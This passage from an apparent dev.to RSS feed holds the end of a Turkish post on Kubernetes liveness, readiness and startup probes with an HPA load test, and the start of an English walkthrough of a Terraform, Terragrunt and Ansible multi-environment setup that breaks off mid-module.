&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;HorizontalPodAutoscaler&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;hpa-demo&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;scaleTargetRef&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;apps/v1&lt;/span&gt;
    &lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Deployment&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;hpa-demo&lt;/span&gt;
  &lt;span class="na"&gt;minReplicas&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
  &lt;span class="na"&gt;maxReplicas&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;4&lt;/span&gt;
  &lt;span class="na"&gt;metrics&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Resource&lt;/span&gt;
    &lt;span class="na"&gt;resource&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;cpu&lt;/span&gt;
      &lt;span class="na"&gt;target&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Utilization&lt;/span&gt;
        &lt;span class="na"&gt;averageUtilization&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;20&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Yük testi:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl run load-generator &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--image&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;busybox:1.28 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--restart&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Never &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-n&lt;/span&gt; probe-lab &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--&lt;/span&gt; /bin/sh &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"while true; do wget -q -O- http://hpa-demo; done"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;HPA çıktısı:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;NAME       TARGETS        REPLICAS
hpa-demo   2%/20%         1
hpa-demo   198%/20%       2        ← scale-out başladı
hpa-demo   156%/20%       4
hpa-demo   2%/20%         4
hpa-demo   2%/20%         1        ← scale-in, yük durdu
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Yeni pod açılırken endpoint listesi:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;NAME       ENDPOINTS                    
hpa-demo   10.x.x.x:80                 ← sadece hazır pod
hpa-demo   10.x.x.x:80,10.x.x.x:80    ← ikinci pod readiness geçince eklendi
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Ne öğrendim:&lt;/strong&gt; HPA pod açtığında o pod hemen traffic almıyor. Readiness probe geçene kadar endpoint listesine girmiyor. Bu çok kritik — yük altında açılan pod hazır olmadan traffic alırsa hata oranı artar. Readiness probe bu geçiş sürecini güvenli hale getiriyor.&lt;/p&gt;




&lt;h2&gt;
  
  
  Production'da Dikkat Ettiğim Şeyler
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Liveness probe'a bağımlı servis kontrolü koyma:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# YANLIŞ — DB geçici kapanırsa tüm pod'lar cascade restart yapar&lt;/span&gt;
&lt;span class="na"&gt;livenessProbe&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;httpGet&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/health/db&lt;/span&gt;
    &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;8080&lt;/span&gt;

&lt;span class="c1"&gt;# DOĞRU — liveness sadece "ben ayaktayım" sorusunu sormalı&lt;/span&gt;
&lt;span class="na"&gt;livenessProbe&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;httpGet&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/health/live&lt;/span&gt;
    &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;8080&lt;/span&gt;

&lt;span class="na"&gt;readinessProbe&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;httpGet&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/health/ready&lt;/span&gt;   &lt;span class="c1"&gt;# DB bağlantısı burada kontrol edilir&lt;/span&gt;
    &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;8080&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Threshold değerlerini varsayılan bırakma:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;livenessProbe&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;failureThreshold&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;5&lt;/span&gt;    &lt;span class="c1"&gt;# 3 değil — geçici ağ sorunlarına tolerans&lt;/span&gt;
  &lt;span class="na"&gt;periodSeconds&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;10&lt;/span&gt;
  &lt;span class="na"&gt;timeoutSeconds&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;5&lt;/span&gt;      &lt;span class="c1"&gt;# 1 saniye çok kısa&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Startup probe'u atlama:&lt;/strong&gt; Eğer uygulamanın başlangıç süresi değişkense — farklı ortamlarda farklı sürebiliyorsa — startup probe yaz. &lt;code&gt;initialDelaySeconds&lt;/code&gt; ile tahmin yürütmek yerine gerçek hazırlık durumunu kontrol et.&lt;/p&gt;




&lt;h2&gt;
  
  
  Özet
&lt;/h2&gt;

&lt;p&gt;Bu lab'dan önce probe'ları biliyordum ama gözlemlememştim. Şimdi şunu rahatlıkla söyleyebiliyorum:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Liveness&lt;/strong&gt; → "uygulama dondu mu?" — başarısız olursa restart&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Readiness&lt;/strong&gt; → "traffic almaya hazır mı?" — başarısız olursa sadece traffic kesilir&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Startup&lt;/strong&gt; → "uygulama başlamayı tamamladı mı?" — liveness için koruma kalkanı&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ve en önemli şey: readiness ile liveness'ı aynı endpoint'e bağlamak işe yarıyor ama doğru değil. İkisi farklı soruları soruyor, farklı endpoint'ler hak ediyorlar.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Bu yazı, bir mülakattan aldığım geri bildirimi uygulamalı olarak çalışma serim.&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Serinin diğer yazıları:&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;em&gt;&lt;a href="https://dev.to/tahayagizguler/terraform-terragrunt-ansible-a-hands-on-learning-journey-jed"&gt;Terraform + Terragrunt + Ansible: A Hands-On Learning Journey&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;a href="https://dev.to/tahayagizguler/kubernetes-probelarini-bozarak-ogrenmek-liveness-readiness-ve-startup-3meh"&gt;Kubernetes Probe'larını Kasıtlı Bozarak Öğrendim&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;a href="https://dev.to/tahayagizguler/container-icine-giremiyorum-ve-bu-iyi-bir-sey-distroless-imagelar-hik"&gt;Container İçine Giremiyorum — Ve Bu İyi Bir Şey: Distroless Image'lar&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;a href="https://dev.to/tahayagizguler/prometheus-ve-grafanayi-derinlemesine-anlamak-tsdb-promql-ve-custom-exporter-1enp"&gt;Prometheus ve Grafana'yı Derinlemesine Anlamak&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>kubernetes</category>
      <category>devops</category>
      <category>docker</category>
      <category>cloud</category>
    </item>
    <item>
      <title>Terraform + Terragrunt + Ansible: A Hands-On Learning Journey</title>
      <dc:creator>Taha Yağız Güler</dc:creator>
      <pubDate>Mon, 25 May 2026 10:55:04 +0000</pubDate>
      <link>https://dev.to/tahayagizguler/terraform-terragrunt-ansible-a-hands-on-learning-journey-jed</link>
      <guid>https://dev.to/tahayagizguler/terraform-terragrunt-ansible-a-hands-on-learning-journey-jed</guid>
      <description>&lt;p&gt;I recently got interview feedback that changed how I approach learning:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"You've used these tools, but the technical depth wasn't there."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Instead of just reading documentation, I decided to build a real multi-environment infrastructure setup from scratch — dev, staging, and prod — using Terraform, Terragrunt, and Ansible. This post is a walkthrough of what I built, why each decision was made, and what I actually learned along the way.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Problem with Single-Environment Thinking
&lt;/h2&gt;

&lt;p&gt;Up until this point, my Terraform workflow looked like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;write main.tf → terraform apply → done
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That works fine for a single environment. But in a real company, code never goes directly to production. There's always a pipeline:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Dev&lt;/strong&gt; — developers experiment here, things can break, no real users&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Staging&lt;/strong&gt; — production mirror, QA tests here before release&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prod&lt;/strong&gt; — real users, real traffic, every mistake costs something&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When you try to scale your single &lt;code&gt;main.tf&lt;/code&gt; to three environments, three problems appear immediately.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Problem 1: Code duplication.&lt;/strong&gt; You copy &lt;code&gt;main.tf&lt;/code&gt; into &lt;code&gt;environments/dev&lt;/code&gt;, &lt;code&gt;environments/staging&lt;/code&gt;, and &lt;code&gt;environments/prod&lt;/code&gt;. Now you have three identical files. When you add a new resource to dev, you have to manually copy it to the other two. Forget once — your environments silently drift apart.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Problem 2: State file collisions.&lt;/strong&gt; Terraform saves the current state of your infrastructure to a file called &lt;code&gt;terraform.tfstate&lt;/code&gt;. If all three environments write to the same S3 path, a &lt;code&gt;dev&lt;/code&gt; apply can overwrite the &lt;code&gt;prod&lt;/code&gt; state. Infrastructure gone.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Problem 3: No access control.&lt;/strong&gt; Without IAM isolation, any engineer with AWS credentials can accidentally run &lt;code&gt;terragrunt apply&lt;/code&gt; in the wrong environment.&lt;/p&gt;

&lt;p&gt;These are the three problems this lab is designed to solve.&lt;/p&gt;




&lt;h2&gt;
  
  
  Project Architecture
&lt;/h2&gt;

&lt;p&gt;Here's the full directory structure we're building:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;terraform-ansible/
├── _base
│   ├── main.tf        # single Terraform entry point, used by all environments
│   └── modules
│       ├── ec2
│       │   ├── main.tf
│       │   ├── outputs.tf
│       │   └── variables.tf
│       ├── sg
│       │   ├── main.tf
│       │   ├── outputs.tf
│       │   └── variables.tf
│       └── vpc
│           ├── main.tf
│           ├── outputs.tf
│           └── variables.tf
├── ansible
│   ├── ansible.cfg
│   ├── group_vars
│   │   ├── env_dev.yml
│   │   ├── env_prod.yml
│   │   └── env_staging.yml
│   ├── inventory
│   │   └── aws_ec2.yml   # dynamic inventory — AWS tag based
│   ├── playbooks
│   │   └── provision.yml
│   └── roles
│       ├── common
│       │   └── tasks
│       │       └── main.yml
│       └── webserver
│           ├── handlers
│           │   └── main.yml
│           └── tasks
│               └── main.yml
└── live
    ├── dev
    │   └── terragrunt.hcl # dev-specific values
    ├── prod
    │   └── terragrunt.hcl # prod-specific values
    ├── staging
    │   └── terragrunt.hcl # staging-specific values
    └── terragrunt.hcl     # root config — S3 backend, state locking
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The flow looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;terragrunt apply (live/dev)
       │
       ├── reads live/terragrunt.hcl        → generates backend.tf automatically
       ├── reads live/dev/terragrunt.hcl    → gets environment-specific inputs
       ├── runs _base/main.tf               → provisions VPC, SG, EC2
       └── triggers null_resource           → runs Ansible playbook automatically
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Step 1: Terraform Modules — Reusable Infrastructure Components
&lt;/h2&gt;

&lt;p&gt;Modules are Terraform's way of packaging reusable infrastructure. Instead of writing the same VPC configuration in every environment, you write it once as a module and call it with different parameters.&lt;/p&gt;

&lt;p&gt;Each module follows the same three-file pattern:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;variables.tf&lt;/code&gt; — what inputs the module accepts&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;main.tf&lt;/code&gt; — what resources it creates&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;outputs.tf&lt;/code&gt; — what values it exposes to the caller&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here's the EC2 module as an example:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;modules/ec2/variables.tf&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="nx"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"instance_type"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;description&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"EC2 instance type"&lt;/span&gt;
  &lt;span class="nx"&gt;type&lt;/span&gt;        &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"environment"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"subnet_id"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"sg_id"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"key_name"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;description&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"SSH key pair name"&lt;/span&gt;
  &lt;span class="nx"&gt;type&lt;/span&gt;        &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;&lt;code&gt;modules/ec2/main.tf&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="s2"&gt;"aws_ami"&lt;/span&gt; &lt;span class="s2"&gt;"amazon_linux"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;most_recent&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
  &lt;span class="nx"&gt;owners&lt;/span&gt;      &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"amazon"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

  &lt;span class="nx"&gt;filter&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;name&lt;/span&gt;   &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"name"&lt;/span&gt;
    &lt;span class="nx"&gt;values&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"al2023-ami-*-x86_64"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_instance"&lt;/span&gt; &lt;span class="s2"&gt;"main"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;ami&lt;/span&gt;                    &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;aws_ami&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;amazon_linux&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;
  &lt;span class="nx"&gt;instance_type&lt;/span&gt;          &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;instance_type&lt;/span&gt;
  &lt;span class="nx"&gt;subnet_id&lt;/span&gt;              &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subnet_id&lt;/span&gt;
  &lt;span class="nx"&gt;vpc_security_group_ids&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sg_id&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="nx"&gt;key_name&lt;/span&gt;               &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;key_name&lt;/span&gt;

  &lt;span class="nx"&gt;tags&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;Name&lt;/span&gt;        &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"${var.environment}-server"&lt;/span&gt;
    &lt;span class="nx"&gt;Environment&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;
    &lt;span class="nx"&gt;ManagedBy&lt;/span&gt;   &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"terraform"&lt;/span&gt;
    &lt;span class="nx"&gt;Project&lt;/span&gt;     &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"terraform-lab"&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;&lt;code&gt;modules/ec2/outputs.tf&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="nx"&gt;output&lt;/span&gt; &lt;span class="s2"&gt;"instance_id"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;aws_instance&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;output&lt;/span&gt; &lt;span class="s2"&gt;"public_ip"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;aws_instance&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;public_ip&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The VPC and Security Group modules follow the same pattern. The key insight: modules are just functions. They take inputs, create resources, and return outputs.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 2: &lt;code&gt;_base/main.tf&lt;/code&gt; — The Single Entry Point
&lt;/h2&gt;

&lt;p&gt;All three environments use this exact file. It calls the modules and accepts all variable values from outside — from Terragrunt:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="nx"&gt;terraform&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;required_providers&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;aws&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;source&lt;/span&gt;  &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"hashicorp/aws"&lt;/span&gt;
      &lt;span class="nx"&gt;version&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"~&amp;gt; 5.0"&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"environment"&lt;/span&gt;   &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nx"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"vpc_cidr"&lt;/span&gt;      &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nx"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"instance_type"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nx"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"key_name"&lt;/span&gt;      &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;  &lt;span class="nx"&gt;default&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"terraform-lab-key"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nx"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"region"&lt;/span&gt;        &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;  &lt;span class="nx"&gt;default&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"eu-central-1"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;module&lt;/span&gt; &lt;span class="s2"&gt;"vpc"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;source&lt;/span&gt;      &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"../modules/vpc"&lt;/span&gt;
  &lt;span class="nx"&gt;vpc_cidr&lt;/span&gt;    &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;vpc_cidr&lt;/span&gt;
  &lt;span class="nx"&gt;environment&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;module&lt;/span&gt; &lt;span class="s2"&gt;"sg"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;source&lt;/span&gt;      &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"../modules/sg"&lt;/span&gt;
